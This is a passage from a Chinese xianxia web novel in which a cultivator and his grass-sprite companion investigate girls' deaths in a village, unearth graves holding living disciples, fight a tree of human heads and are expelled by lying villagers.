“次数多了,我们发现不对劲了,去报官,官府说是正常死亡,怎么可能呢,那么多闺女……” 洛不觉尽量温和问:“那尸体呢,你们怎么处理了?” “埋了,我们想着都是姑娘孩子啊,不能放着不管。” 村长声音颤抖,叹了口气:“我们一开始也没想往妖怪上想,但是后来,突然陈家的大闺女死了,我们发现的时候只在床上发现一张人皮,人皮啊!” 燕黎舟听着心头一跳,整棵草凑到洛不觉耳边小声问:“仙长,你觉得是什么妖怪?” 洛不觉没回答,伸手把燕黎舟揪下来,按在手腕上被迫充当一个草环。 他问村长:“骨头,血肉……什么也没找到吗?” “没,没有!”村长拼命摇头,“就一张皮!干干净净!就像是……里面的东西被整个儿吸走了!” 他打了个寒颤,仿佛想到了什么可怕的画面。 “我们能去出事的地方看看吗?” “是,是!仙长这边请!”村长连忙引路。 一路上看见几个男人正扛着锄头往家走,眼神空洞,行动迟缓,像是被抽走了灵魂。 村长见洛不觉一直盯着,叹气主动解释道:“他们家也都死了人,亲人离世,收到了打击。” “那还出来干活?” 村长深深看了一眼洛不觉:“日子……总得过下去。” “哭也哭过了,怕也怕过了,可人不能不吃不喝,地不能不种,娃儿们不能不养……” 村长带着两人来到最近一户出事的人家,简陋的房子干干净净,土炕上铺着草席,没有挣扎和打斗的迹象。 一张符纸贴在草席上,符纸上的朱砂纹路微微亮起红光,随即又暗下去,然后瞬间燃烧成一堆灰烬。 “咋样?”燕黎舟第一次见,好奇问道。 洛不觉指尖凝聚起一点淡蓝色的灵力:“阴邪……不是纯粹的妖气。” “去下一家吧。” 几个妇女沉默地围在一个水井旁打水,没有人交谈,眼神低垂,仿佛刻意回避着彼此的目光。 村长看见了自己找的人:“陈嫂子,来除妖的仙长来了,想要去家里看看,方便不。” 22-30 第22章 他口里的陈嫂子正用力搓洗着一件旧衣裳, 指关节因为用力发白,动作又快又狠,一言不发。 反倒旁边另外的几个女人全都在抬头偷偷看向洛不觉。 村长叹了口气, 对洛不觉道:“仙长跟我走吧。” 陈嫂子家里这间房间和前面几家丝毫不同, 整个房间里面能看得出还有喷溅血迹的残留, 空气中血腥味铺面而来, 屋子里面的东西能看得出全都被清洗过了。 燕黎舟看着房间内的场景忍不住皱眉, 他往洛不觉袖子里躲了躲,后者伸手在他身边施了个屏障, 将周围的血腥味屏蔽在外。 叶子轻微地蹭了蹭他的手腕, 燕黎舟嗅着洛不觉身上的檀香味道,心想算你上道。 天色已经很晚了,三人从房子里面出来时, 门口围着一圈人,看见村长领着洛不觉,一个个脸上全都挤出比哭还难看的笑容。 村长立马道:“干什么干什么,都聚在这里干什么!” 人群里几个还算强壮的汉子走上来, 凑到村长耳边说了什么。 村长听完了后, “哎呀”一声, 人群里的村长妻子道:“老头子,这大家伙儿只是想见见仙长,着我们心里……心里也好有个底儿。” 人群微微骚动,附和着, 无数道目光聚集到洛不觉身上。 “之前有其他人前来除妖吗?”洛不觉看着面前聚集的村民,忽然开口问。 “其他人?”村民面面相觑,闻言脸上都露出来茫然和困惑的神色。 “没……没有其他仙长来过啊。”一个胆大的村民说道。 “是啊,我们村子穷, 这次是实在没办法,凑了点钱,托人送信去仙门求援。” 村长补充道,语气十分肯定,“在仙长之前,没有其他仙家过来除妖啊。” 燕黎舟缩在洛不觉衣服里面,闻言心中疑惑,司徒沃和陆乐水接的任务明明就是这个村子。 “仙长,那个妖怪有什么头绪了吗?什么时候能解决啊。” 一个汉子壮着胆子开口,他旁边的一个妇人猛地瑟缩了一下,死死抱着怀里一个约莫五六岁的女娃。 女娃眨巴着眼睛,好奇地看着他们。 “是啊仙长!求求仙长想想办法,我们……我们晚上都不敢闭眼啊!” 另一个老妇哭嚎起来,人群中似是被感染,纷纷响起低低的啜泣声和哀求声。 燕黎舟看着这群人,心中五味杂陈,下意识看向头顶的洛不觉。 洛不觉依旧是那张没有表情的脸,伸手将燕黎舟盖住,平静的目光缓缓扫过众人。 没有任何言语,也没有任何安抚的举动。 渐渐地,哭泣声和哀求声小了下去,村长见状,连忙出来打圆场。 “好了好了!大家伙儿安静一下,别吵!仙长这不是在调查吗?肯定有法子,大伙儿都散了吧,该生火做饭的生火做饭,该喂牲口的喂牲口!都聚在这里像什么话!” 人群在村长的驱赶下开始不情不愿地散去,只是全都一步三回头,目光依旧紧紧锁在洛不觉身上。 待人群散得差不多了后,村长这才擦了擦额头的冷汗,转身道歉:“仙长,实在是对不住,大伙儿也都是太害怕了,希望仙长不要怪罪。” 他顿了顿,搓着手:“那个……这天色也不早了,仙长们除妖辛苦,总得要有个落脚歇息的地方。” “村子穷,实在是没什么好地方,但也不能让仙长露宿荒野不是?我们……我们给仙长腾出来一间屋子,就村西头陈嫂子那家。” 村长连忙解释:“她家还有个男人和儿子,白天下地了,这刚死了女儿,空出来一间,那绝对是村里的好屋子了……其他的家里都挤不下人了。” 村长笑着道。 洛不觉没有意见,只是微微侧头,看了眼村西头的方向。 “有劳。”他平静地吐出两个字,听不出任何情绪。 村长如蒙大赫,连连点头哈腰:“应该的应该的,仙长请随我来。” 陈嫂子看见村长领着洛不觉过来,没说什么,她男人沉默地用木板钉死自家窗户,那窗户上还残留着洗不干净的暗褐色痕迹。 “陈大哥。”村长喊道,一个孩子躲在陈嫂子后面,把自己露出一点点,盯着他们。 村长说完情况就自顾自走了。 洛不觉给燕黎舟施了术法,是之前在寿骆村时的女人装扮。 虽然燕黎舟一个大男人有些隔应,但好歹不再是个草了,他还是男人身子,只是穿了个女孩子款式的衣服。 燕黎舟摇了摇头,头顶的饰品随着他的动作晃荡,他看着自己身上的粉色衣服,黑长的睫毛垂下去,余光瞥了眼旁边的洛不觉。 心想这人不会是对粉色有什么特殊癖好吧。 他站在门口,看着整个村子,活动了一下筋骨,突然感觉什么东西装在他的腿上。 “哎呦!” 燕黎舟低头,是一个捧着糖的小女孩,他赶紧附身将小女孩拉起来,替她拍了拍身上的灰尘。 “没事吧,疼不疼?”他问。 小女孩摇了摇头,看着散落一地的糖果,燕黎舟帮她捡起来,放在手心。 看着糖,燕黎舟突然想到什么,轻笑一声,揉了揉小女孩的脑袋。 “这么喜欢糖啊,哥哥有个弟弟,身上也会揣着很多糖。” 小女孩盯着燕黎舟:“谢谢漂亮姐姐。” 燕黎舟揉脑袋的动作一顿:“……叫哥哥。” 小女孩歪着脑袋:“姐姐,你好漂亮!” 燕黎舟:“谢谢……” “下次走路要看路哦!” 盯着小女孩离开的背影,燕黎舟转身进屋。 陈嫂子看见他也只是抬了下眼,没有任何情绪,也不意外为什么一个大活人怎么就凭空出现在她家。 她从厨房拿出来几个干瘪的馒头和一点小咸菜。 盘子放在中间,旁边的陈大哥这时候也忙完了,坐下来一起吃。 洛不觉不用吃饭,燕黎舟吃得很开心,天上白云京的饭菜他都能忍受,更何况这还有咸菜呢。 吃完饭也没有人开口,窗外远远传来几声犬吠,显得屋子里面更安静了。 燕黎舟看着躲在陈嫂子后面的陈沉,主动开口逗人,夹着嗓子问:“你好呀,你叫什么名字呀?几岁了?” 洛不觉顿了一下,抬眼看眼燕黎舟,这人似乎背后长了眼睛,掐了洛不觉的衣服一下。 洛不觉的目光落在某棵草害羞揪着他衣服的手上,指节修长,比他的衣服还要白一点,好看一点。 孩子躲在陈嫂子后面,一句话也不说。 “六岁了。”正在搓草绳的陈嫂子道:“沉沉,叫仙长。” 燕黎舟:“你叫沉沉呀,叫我哥哥就行,叫他仙长。”他指着身后板着脸的洛不觉道。 两人有一搭没一搭地聊着,大多是燕黎舟在聊,然后陈嫂子在旁边插几句。 燕黎舟看向一直沉默着坐在门口的陈大哥,他正在磨明天下地的锄头,沉沉被陈嫂子哄去睡觉。 燕黎舟:“嫂子,您女儿那天晚上有什么异常吗?” 陈嫂子对于这个问题只是沉默着摇了摇头,不说话。 燕黎舟看见她这一副如常的模样:“您不害怕吗?” 她搓草绳的动作一顿,半响才哽咽着回答。 “怕。” “怎么不怕。” “怕得夜里听见耗子啃木头,都以为是那吃人的妖怪来了!” 陈嫂子吸了吸鼻子,她抹了把脸,粗糙的手掌擦过泪水,留下几道污痕。 她重新拿起那只破草鞋,继续用力地搓着草绳,像是和自己较劲。 她咬着牙:“怕得眼泪都哭干了,但日子得过去。胆子吓破了,日子也得过!它要吃人,谁也拦不住……可活人,总不能现在就躺下等死吧。” 她指了指门窗上挂着的几道歪歪扭扭的符纸,陈大哥这会儿正拿着鸡血洒在门口。 苦笑一声:“能做到俺们都做了,听天由命吧。” 陈嫂子的声音平淡,他们都是这样过来的,日复一日,年复一年。 “太阳落下去,明天还得升起来,白天该下地下地,该喂鸡喂鸡,晚上闩紧门,抱着娃儿瞪着眼等天亮,熬过一天是一天。” “就像田里的庄稼,虫来了,病来了,能咋办?还不是得硬着头皮长?长到哪天算哪天……” 燕黎舟也跟着沉默,他看着面前陈嫂子操劳得不成样子的手,耳边是那她近乎自虐的搓草绳的“沙沙”声。 …… 两人来到被害女孩的房间,洛不觉走到窗边,看着窗户上贴着的朱砂画的符咒。 燕黎舟则是看着满屋子的血迹,白天床上还空无一物,此时多了床被子,坐在床上。 他拍了拍厚厚的床铺,抬眼看着房间墙上溅上的血迹,轻笑一声:“那村长让你住在这儿,是觉得你像镇宅的石狮子吗?” 声音里听不出情绪。 洛不觉没有回答,等到燕黎舟身上法术耗尽重新变成草后,才过来把草揣进兜里。 “抓紧,别掉了。” 燕黎舟还不理解他说的这是什么意思,下一秒就见洛不觉打开窗户,直接翻出去了。 一路来到后山脚下,这里一个又一个凸起来的小土包,有几座明显是新堆起来的。山风呜咽,地面上散落的枯叶和腐旧的纸钱都被吹得刮着地面走,发出“沙沙”的声音。 他抓紧了洛不觉的衣服,生怕自己掉下去。 在伸出片叶子看清面前的情景后,燕黎舟心里一紧,脑子里闪过一个荒缪的想法。 “洛不觉,你不会是要……” “得罪了。”洛不觉停在一座新坟前道。 挖坟掘墓不论普通人还是修仙界,都是极大的忌讳,容易引来不可知的因果。 燕黎舟看了看周围,月光照得周围模模糊糊的,整棵草往洛不觉衣服里面缩了缩。 相信科学,相信科学,相信科学! 燕黎舟正“阿弥陀佛”呢,睁眼就看见洛不觉把自己的配剑当成铲子用,燕黎舟“啧”了一声。 “这秋水剑跟你手里真是遭了罪。” 土很松,周围几乎没有踩实,显然是仓促下葬。 很快,土里埋着的棺材就被他挖出来了,洛不觉一剑插|进棺材的缝隙里,将棺材顶给撬开,一股寒意瞬间从脚底直蹿上来。 燕黎舟叶子包裹住自己。 下一秒,就见从棺材里伸出来了个什么东西,猛地扣住棺材边缘,在月光底下能看出来是一只惨白的手! “啊——啊啊!我靠!” 燕黎舟整棵草几乎是瞬间缩进洛不觉衣襟里面,不去看棺材里的画面。 “诈尸了!洛不觉!你快点跑啊!我不要死在这儿!” 燕黎舟叶子死死缩在洛不觉衣服里,平时不管怎么样都要露出点叶子边边的草,此刻恨不得自己缩得更里些。 “师叔……” “尸体说话了!!嗯?” 声音出来的瞬间,洛不觉身子僵了一下,身边瞬间燃起来几簇淡蓝色火焰。燕黎舟也从衣服里探出片叶子,去看棺材里的人。 “司徒沃!” 两人震惊,洛不觉一步迈进坑里,伸手将棺材里的人扶起来,迅速从储物戒里掏出一颗丹药,塞入司徒沃口中,灵力顺着掌心输入对方体内。 丹药入口即化,司徒沃咳嗽几声,猛地呼吸了几口,伸手拽紧洛不觉的袖子,一脸紧张。 “师叔,乐水……乐水!” 洛不觉此时看向自己周围围着的一堆坟包,也知道陆乐水一定就是被埋在了其中的一个。 他让司徒沃靠在棺材上,转身开始在挖其他的新坟。 燕黎舟也就是趁着这个时候从洛不觉衣服里跳到司徒沃身上,站在司徒沃腿上,叶子又一下没一下拍着司徒沃的身子。 “怎么回事啊,那个陆乐水不是在宗门的时候天天吹嘘自己很厉害吗,怎么几个月不见,你和他都被关进棺材里了?” 他声音很低,也没人听得见他说话。 司徒沃缓了缓,就想要站起来帮忙一起刨坟。 可惜刚使了一点劲,就忍不住地咳嗽,没注意到身上一抹绿色又拍了拍他。 陆乐水就没有那么庆幸,整个人平静地躺在棺材里面,双眼紧闭,胸口没有丝毫起伏,看上去真的像是刚死了的模样。 洛不觉没有丝毫犹豫,附身探入,手指搭上陆乐水的颈侧,发现还活着后放下心来,伸手将人扶起来,灵力不要钱似的输入陆乐水体内。 “唔……” 一声微弱的吸气声从陆乐水的喉咙里艰难挤出,紧接着身体动了动。 洛不觉这才停止输送,伸手在陆乐水身上点了几个穴位,将人靠这棺材休养,转身将燕黎舟重新捡起起来。 后者叶子触碰到洛不觉的指尖,伸长了叶子去看陆乐水:“他怎么样!” “没事了,只是还有点虚弱。” 月光下,陆乐水和司徒沃狼狈不堪地从棺材里爬出来,洛不觉目光扫过两个师侄所在的棺材,又看向周围被挖了好几座的坟地。 “事情就是这样,我醒来后就看见洛师叔了。”司徒沃讲着自己来这里发生的事情。 旁边陆乐水大半重力靠在陆乐水身上,虚弱地点点头。 燕黎舟坐在洛不觉肩膀上,叶子环抱着,整棵草思考着。 陆乐水和司徒沃两人来到芦梦村后也是经历了被村长热情招待,后被安排到一户人家。 两人打算晚上守株待兔,等待着妖怪的出现。 说来也巧,两人借宿的地方也是陈嫂子家,不过只是因为他俩见到的第一个人是陈见,当时她还没被杀害。 但两人当天晚上就被偷袭,失去意识,再醒来后人就在棺材里面了,一直等到洛不觉过来。 所以村长和村民们都在说谎,他们明明见过司徒沃两人,为什么当时却说没有其他人来过。 燕黎舟想起原书中洛不觉教给男主的回溯探灵,抬头盯着头顶的洛不觉:“你不是会探灵吗,给我施法,我做你的媒介。” 洛不觉看了眼掌心的小草,没管他是怎么知道的,不同意:“不行,太危险了。” 司徒沃和陆乐水有些懵:“师叔,什么太危险了?” “快点,快点,还想不想抓妖怪了。” “我要是有任何异样,以你的能力肯定能拽我出来!” 回溯探灵这个术法可让被施法的生灵身处当时的场景中,看见那时候发生了什么,听着很厉害,但这需要双人技能。 原著里洛不觉教会男主,也就是谢灯,被用来给谢灯和他的后宫解除误会的撩妹剧情所用。 洛不觉被燕黎舟磨了半天,还是来到其他几个被他挖出来的尸体旁边,腐烂了的尸体散发出来恶心的气味。 燕黎舟见状突然心里有些后悔,但看了一眼身后的司徒沃和陆乐水,强忍住身体的不适感,从洛不觉身上蹦下去。 他小心翼翼踩在棺材上,叶子划桨似得在棺材内划了划,顺着棺材滑下去,缓慢挪到尸体旁边。 叶子并没有触碰到尸体只是堪堪停在尸体上方寸许,等着洛不觉的灵力进入他体内。 燕黎舟抬头,洛不觉看着棺材里只剩下黑白的颜色,燕黎舟在其中很突兀地一抹绿色,垂在身侧的手紧了紧。 手腕上,一直隐藏着的神识线缠上燕黎舟的叶子,缓缓显性,灵力缓慢地输送进小草的体内。 几乎是瞬间,无数破碎,充满痛苦的画面涌入燕黎舟的脑海。 扭曲变形的视野里,一张硕大的脸几乎贴上鼻尖,五官扭曲。 床榻上的女生浑身颤抖,想叫也叫不出来,只能被动地长着嘴巴。 一根黑漆漆的藤蔓缠绕着一个苹果大小的人头,硬生生塞进她大张的嘴巴里,离开时藤蔓还贴心地将嘴巴合上。 “呜呜呜……” 女孩躺在床上,什么也动不了,任由这藤蔓动作,大大的眼睛里蓄满了泪水,满眼惊恐。 下一秒就感觉胸口一痛,燕黎舟在旁边皱着眉,这是这个女孩死之前的情景。 周围的场景在缓慢消散,他知道,这个女孩快要死了。 燕黎舟咽了口唾沫,这个女孩的情绪全部都同步在燕黎舟身上,他不敢耽误,转头朝着藤蔓的尽头跑去,想要知道这是个什么妖怪。 “你要来陪我玩吗?”一道声音传来,模模糊糊的,听不清是男是女。 燕黎舟突然一个踉跄,狠狠摔倒在地,周围场景迅速褪去颜色,逐渐化成碎片。 胸口……胸口好痛!他伸手揪着自己的衣服,想要缓解这种感觉。 “燕黎舟,醒醒!” 洛不觉的声音猛地将他拽回现实,伸手手指捏住他的叶子,指尖鲜血抹在燕黎舟叶片上,将草从棺材里揪出来。 燕黎舟缓慢清醒过来,周围浓郁的洛不觉的气息,让他稍稍安心了一些。 “心脏!”他哑声道,然后实在没忍住干呕了一下。 燕黎舟:“你血好难闻。” 说是这么说,他却把自己往洛不觉掌心里面又埋了埋。 洛不觉松了口气,将小草重新揣进自己怀里,拿起旁边的秋水剑划开尸体的胸口。 一堆粘稠的,半凝固的液体从伤口处流出来,散发出一股更刺鼻的腥臭。 燕黎舟移开视线不去看它。旁边司徒沃和陆乐水相互搀扶着走过来,见状也齐齐扭过头。 “呕……” 司徒沃拍了拍干呕的陆乐水,后者突然想到什么,咳嗽了几声,扭过头来问:“师叔,您刚刚喊……是燕前辈他也在这里吗?” 衣襟里露出半片叶子的燕黎舟有气无力地挥了挥,示意他确实在,几秒后从洛不觉衣襟处爬上肩膀,整棵草拽着洛不觉的垂下来的发丝不松手。 洛不觉:“你听错了。” “……” 他面上依旧没有表情,洛不觉盯着面前半凝固的浆液中,尸体胸口处原本是心脏的地方此刻镶嵌着一颗婴儿大小的人头。 “这,这是怎么回事!”司徒沃见状惊讶。 旁边的陆乐水在得到答案后就将眼睛闭上了,听见司徒沃的话,几秒后又睁开一条缝。 “呕……” 司徒沃看向正在掐自己的手:“要是害怕可以不看的。” “谁怕了!”陆乐水直了直身子,反驳,顺着对方的目光看向自己的手,找借口:“我只是受伤还没有痊愈,手不听使唤……” 洛不觉盯着那颗头,忽的眼神一凝。 “退!” 他一手一个,拽着司徒沃和陆乐水两人迅速后退几步。 “咯咯咯……” 那颗镶嵌在女尸胸腔里的人头突然诡异的转动起来,面朝几人的方向,腐烂的尸体也紧跟着动了动,然后站起来。 有些肢体和内脏因为过度腐烂,尸体一站起就“啪嗒”一声掉在地上。 脑袋突然张大嘴巴,无数藤蔓从嘴巴里窜出来,疯狂朝着几人冲过去。 司徒沃一把拽住没有恢复的陆乐水,手中凭空出现一把扇子,“唰”地一下展开,扇面上的金色符文亮起,化作一道屏障挡在身前。 洛不觉眼神一冷:“抓住。”他对燕黎舟道。 秋水剑出鞘,剑光如雪,瞬间斩断数根袭来的藤蔓,可惜断掉的藤蔓遇土又扎根,眨眼间又生长出新的藤蔓。 无数藤蔓撞上屏障,力道之大,震得司徒沃虎口发麻,金色屏障上也被撞出来几条裂缝。 “洛不觉!”燕黎舟叶子抱紧了洛不觉的脖子,内心后悔早知道就老实呆着了。 虽说涉及到战斗就不关燕黎舟的事了,但看着那些人头他莫名觉得眼熟。 “这是什么邪术!”陆乐水脸色发白,藤蔓几乎要将他们包围。 话音刚落,周围几具同样被挖出来的尸体开始蠕动,胸口齐齐裂开,一颗颗人头从腐烂的肉里面露出来。 “咯咯咯……” 尸体胸口处的人头发出一阵尖锐的笑声,像是无数冤魂痛苦哀嚎。 “洛不觉,城主府里的那棵头颅树!”燕黎舟想起来了,这人头给他的感觉和那次头颅树上的结的脑袋一样。 不远处的荒地上,一颗满是脑袋的巨树树干扭曲,头顶树冠上挂着的每一颗人头都大张着嘴巴,黑色的藤蔓从他们嘴巴里蠕动着。 一双眼睛直勾勾地盯着洛不觉他们的方向。 头颅树的根须从土里抽出来,缓慢挪动。 洛不觉剑甩出去的瞬间伸手扯了扯燕黎舟:“松开点,呼吸不上来了。” “哦哦,不好意思,我有点害怕。”燕黎舟说着,叶子轻轻拍了拍洛不觉。 腐烂的尸体在藤蔓的簇拥下,以一种十分僵硬的姿态扑过来。 司徒沃的屏障发出不堪重负的声音,扇子上符文的光芒也在急剧暗淡。 他脸色煞白,原本就手上的身体此刻嘴角溢出一丝鲜血,体内灵力消耗巨大。 陆乐水强撑着自己站起来,试图调动体内的灵力,但是经脉像是被什么东西堵住,怎么也用不出来。 “妈的!”他忍不住爆粗口。 藤蔓不能砍,洛不觉伸手护住司徒沃两人,秋水剑横在几人头顶,形成一个小型的安全屏障。 就在这个时候,几人面前突然出现一株恐怖巨树,满绿的树冠上密密麻麻的人头堆积着,男女老少的人头脑袋,全部双目圆睁,嘴巴大张。 浓郁的怨气和死雾围绕在周围。 是那棵头颅树! 洛不觉在看见的瞬间,掌心出现一团火焰,淡蓝色的火焰燃烧剧烈,顺着藤蔓快速朝着头颅树燃烧过去。 终于出现了! 头颅树估计也没想到洛不觉居然会使用火,寄生在尸体胸腔的人头猛地朝着头颅树的方向飞过去,女尸四肢瞬间瘫软,逐渐被火焰吞噬掉。 “抓住。” 洛不觉再次对着燕黎舟低喝,手腕一转,秋水剑回到他手上,朝着头颅树冲过去。 头颅树上的人头齐齐转向洛不觉的方向,似乎也是察觉到洛不觉给他带来的威胁,刺耳的尖叫声不绝于耳。 秋水剑发出的剑气裹挟着冰渣,头颅树表面瞬间覆盖上一层肉眼可见的冰霜,并且在急速蔓延着。 冰火两重天。 洛不觉身处藤蔓的中心,在密集的攻击中穿梭,不断撕开缺口。 司徒沃压力骤减,猛地一拍手中扇骨。扇面上黯淡的符文瞬间重新亮起。 “固!” 他低吼一声,将剩余灵力尽数注入扇中。 屏障重新稳固,将司徒沃和陆乐水牢牢护住,抵挡住侧面袭来的藤蔓冲击。 司徒沃咬破指尖,鲜血抹在扇面上,金色的符文瞬间吞噬干净,发出更耀眼的光芒。 扇子脱手,在空中极速旋转变大,符文的光芒如同尸体,砸在头颅树上,黑色藤蔓在解除道光芒的瞬间化成一堆灰烬。 突然,数十根粗壮的藤蔓自爆般,炸出腥臭的黑雾。 洛不觉被这突如其来的自爆逼退几步,秋水剑在黑雾中斩断了几根偷袭的藤蔓,视野和感知被严重限制。 就在这混乱中,头颅树发出一阵“咔咔”声,像是那些人头将一直张着的嘴巴合上了。 “这雾有毒,别出来。”洛不觉提醒道,周身自动展开一个屏障将自己和黑雾隔绝开。 等到黑雾散开后,面前空无一人,燕黎舟心有余悸地松了口气,叶片轻轻蹭了蹭洛不觉的脖颈。 天边已泛起鱼肚白,村子里一片死寂。 洛不觉神色冷淡,燕黎舟整棵草蔫蔫地搭在他肩膀上,旁边司徒沃搀扶着脸色依旧苍白的陆乐水,后者走都走不稳。 他们直奔村长家,院门开着,几个村民围在村长身边,七嘴八舌得讨论什么。 “仙师回来了啊!”村长看见洛不觉他们,扶着旁边的石磨起身,面上挤出笑容,看见他身后多出来的陆乐水和司徒沃也没有露出惊讶神色。 司徒沃主动上前:“村长,那几个死去女孩子的家能不能再……” 他的话还没说完,一个中年汉子就疑惑开口:“这位仙长,你在说什么啊?” “啊?”司徒沃被问得一怔。 “是不是搞错了,我们这哪有什么死去的女孩子啊!” “对啊对啊。”村长也一脸茫然地附和:“我们这村子里十分平和,没有仙长说的这些啥啊。” 陆乐水懵了,“你们信里说的是妖怪让我们来的啊!” 燕黎舟撑着抬起头,不理解现在是个什么情况,村民在说什么。 “仙长是不是看错了,哪有人说什么妖怪?”有个妇人开口,几秒后像是突然想到什么。 “是不是山上野猪动静太大了,吓着仙长了,前几日确实有几个娃娃淘气跑进去迷了路,自己吓自己……” “是啊是啊,”另一个妇人道,“我们这没有妖怪。” “野猪?”司徒沃皱眉,扶着的陆乐水忍不住道:“我们昨晚明明遇到了!你说谎!你还和洛师叔说没有遇见我们,但我们来到那天明明就是你接待的!” “这……仙长,我们没有啊!”村长连忙摆手。 “我们这穷乡僻壤的,哪里来的妖怪,而且我们骗仙长干啥呀!” “对啊对啊!” “哎呀,肯定是晚上黑,仙长眼花了,我们这真的没有妖怪啊!” 村民们纷纷点头如捣蒜,七嘴八舌附和着“误会”、“没有妖怪”、“眼花”。 洛不觉一直沉默着没有说话,燕黎舟扫了一眼周围,然后扯了扯他的头发:“怎么回事?” 洛不觉小声:“还不好判断。” 从村长家离开后,洛不觉和燕黎舟顺着路在村子里四处逛,陆乐水和司徒沃两人先回去陈嫂子家里休息。 燕黎舟看着前面的几个孩子,叶子扬了扬,指着前面道。 “洛不觉,是沉沉!” 洛不觉顺着叶尖指着的方向看过去,几个瘦小的孩子蹲在泥地上玩石子,没有寻常孩童的嬉闹声。 他们只是沉默的、机械的将石子排列,推翻,再排列。 抬头看向陌生人的目光里充满警惕。 沉沉独自站在一边,他比其他孩子还要更瘦小些,蹲在泥地边缘,低头拿着一根树枝在湿泥上划拉着一堆混乱地看不出什么东西的线条。 “沉沉?”洛不觉道。 声音刚落,洛不觉抬头忽然抬手,周身出现一层屏障,其他孩子手里拿着泥巴攻击他们。 见没攻击到,几个孩子又飞快地抓了把泥巴扔过去,然后推搡着,尖叫着一窝蜂冲向不远处几间破碎的土屋。 燕黎舟从洛不觉身上跳下来,站在他面前,叶子抖了抖,抬头和沉沉的眼睛对视。 “洛不觉……”他道。 面前那双眼,空洞得像是没有灵魂的木偶,直直地盯着前方,没有任何表情,手里划拉线条的动作不变。 燕黎舟叶子挥动着,想要重新爬上洛不觉肩膀,后者揪着叶子放在掌心,手指轻轻拍了拍叶子。 他蹲下身,伸手捏住叶尖,就听见对方一直在叫他的名字。 “洛不觉,沉沉不对劲” 洛不觉也注意到眼前小孩的状态,伸手轻轻搭向沉沉搁在膝上的手腕。 指尖触碰到的皮肤冰冷,洛不觉蹙眉,他没有摸到脉搏。 旁边一阵细微的脚步声传来,之前跑掉的那几个小孩子簇拥着一个小女孩,怯生生地从土屋里走了出来。 小女孩脸色很白,眼睛很大,此时怯懦地抓着旁边一个大一点男孩的衣服。 洛不觉的目光死死盯着小女孩,一股浓郁到遮盖不住的阴邪气息从她身上散发出来。 周围的孩子毫无所觉,眼神空洞,和沉沉的样子很像。 “姐姐……”小女孩的声音传过来,掌心上燕黎舟的声音还在继续。 “洛不觉,我有点难受……” 他的叶子蜷了蜷,眼前忽然有些模糊。 洛不觉视线收回来,看向掌心里的小草。 “我……” 燕黎舟话没说完,只发出了个模糊的音节,整棵草就像是被抽走了灵气,软绵绵的,直挺挺向后倒去,眼看着就从洛不觉掌心就要滑下去。 洛不觉反应迅速,在他即将要跌落在泥地的瞬间,稳稳将其接在了掌心。 “燕黎舟,燕黎舟!” 但无论洛不觉怎么呼喊,小草都没有给出回复,灵力源源不断地输入燕黎舟体内,但都像是石沉大海,好像手心里只是一株普通的小草。 洛不觉抬头看向那个被簇拥着的小女孩,他缓缓起身,小心的捧起燕黎舟,另一只手里秋水剑出鞘,剑尖直直地指着小女孩。 声音冰冷:“你做了什么?” 话落,强大的威压朝着几个小孩子释放过去。 围绕在周围的小孩子感受到恐怖的威压,身子微微颤抖,但依旧挡在小女孩面前没有动。 而被他们簇拥在中间的小女孩,大眼睛里瞬间蓄满了泪水,小脸惨白如纸,她身上的阴邪气息波动变得不太稳定。 “呜……姐姐……怕!” 小女孩发出破碎的呜咽,紧紧抓住旁边男孩的衣服。 “花花!”一直沉默着不说话的陈沉突然站起身,扔掉手里的树枝,缓慢地朝着小女孩走过去。 洛不觉伸手拉住,皱眉直接将人打晕。 小女孩害怕地尖叫一声,周围的几个小孩子四肢开始变异,浑身上下长出木刺一样的东西,行尸走肉般朝着洛不觉抓过去。 后者面无表情,手上丝毫犹豫,秋水剑避开他们的攻击,剑背击晕几人,他很快就来到小女孩面前。 “乖乖!” 突然一个妇女从远处出现,看见小女孩后尖叫一声,双眼赤红。 脸上,脖颈上开始爬上深褐色的纹路,指甲开始变黑,变长。 她不管不顾地扑向洛不觉。 洛不觉没有避让,秋水剑精准的刺中女人的掌心。 “啊——” 女人发出一声惨叫,掌心被剑洞穿,墨绿的液体喷溅出来,她攻势受阻,身体因为剧痛踉跄后退,看向洛不觉的眼神充满了怨毒。 洛不觉一击得手,毫不犹豫再次冲向女人,后者感受到威胁,不管掌心的剧痛,双臂交叉在身前格挡。 “还不快出来帮忙!我乖乖要是出了事,你也别想好!” 她话落,村长和其他几个村民从阴影处走出来,他们好似没看见女人的异常, 村长搓着手,看着洛不觉皱眉。 “这,仙长,你这是干嘛呀。”他摊开手,一脸难办的神情。 “仙长,你不能是除妖被魇着了,出现幻觉了吧。” 旁边的几个村民上前扶起自家的孩子,不满道:“还仙长呢,欺负小孩算什么本事!” 洛不觉皱眉,他没有再着几个村民身上察觉到邪祟气息。 村长一张老脸皱起来:“这孩子们都还小,您这再想除妖,也不能冲着孩子下手啊。” 周围村民们窃窃私语,小声议论着洛不觉。 “哎。”村长叹了口气。“仙长,我们芦梦村庙小,真的没有妖怪。” 他摆了两下手,开始赶人:“仙长还是打哪来的回哪去吧。” 洛不觉将秋水剑收起来,看着围绕着他的村民,他们脸上写满了不满,孩子们被护在身后,女人和小女孩的身影早在村民围上来的时候就消失了。 “是我失态了。”洛不觉开口,认下这个罪名。 “连日追捕妖怪,心神耗费太大,方才确实看差了,抱歉。” 村长愣了一下,也是没想到洛不觉这么好说话,周围的窃窃私语也低了下去。 村民们面面相觑,准备好的指责话头被硬生生堵了回去。 “啊……仙长明白就好,明白就好。”村长率先反应过来,语气缓和了一些。 他似乎是觉得刚刚有点强硬,客套道:“即是误会,那我们也不好说什么。” “村子里还有一间空着的房子,就是简陋,仙长要是不嫌弃可以暂歇一晚,明日再……” “不必了。”洛不觉打断他,“既然村子里没有妖怪,在下就不再叨扰,就此别过。” 说完,洛不觉就转身朝着村外走去,他揉了揉手里燕黎舟的叶子,衣服因为动作被风带起来,背影挺直。 村民们看着他果真离开,有人低声嘟囔“算他识相”,有人催促着带孩子回去看看。 人群很快散去,只留村长和两个魁梧的男热门站在原地,望着洛不觉离开的方向。 “总算是打发走了。”一个男人啐了一口。 村长脸上的神情却依旧凝重,总觉得好像是忘了什么,但最后只是呢喃了句“但愿这事就这样结束”。 他摇摇头,也转身离开了。 村外,天色渐晚。 洛不觉并未走远,他在村子外不远的地方,寻了一处,将自己的气息收起来。 手指摸了摸燕黎舟的叶子,只是昏迷,转头看向被夕阳笼罩着的村子。 操控吗? …… 燕黎舟醒过来时,看着面前的火堆还有些没反应过来。 “洛不觉?” “嗯。” 洛不觉正在往火堆里添柴,闻言回答。 燕黎舟:“我们在这干什么?” 洛不觉又添了一根:“被赶出来了。” “为什么?” “不知道。” 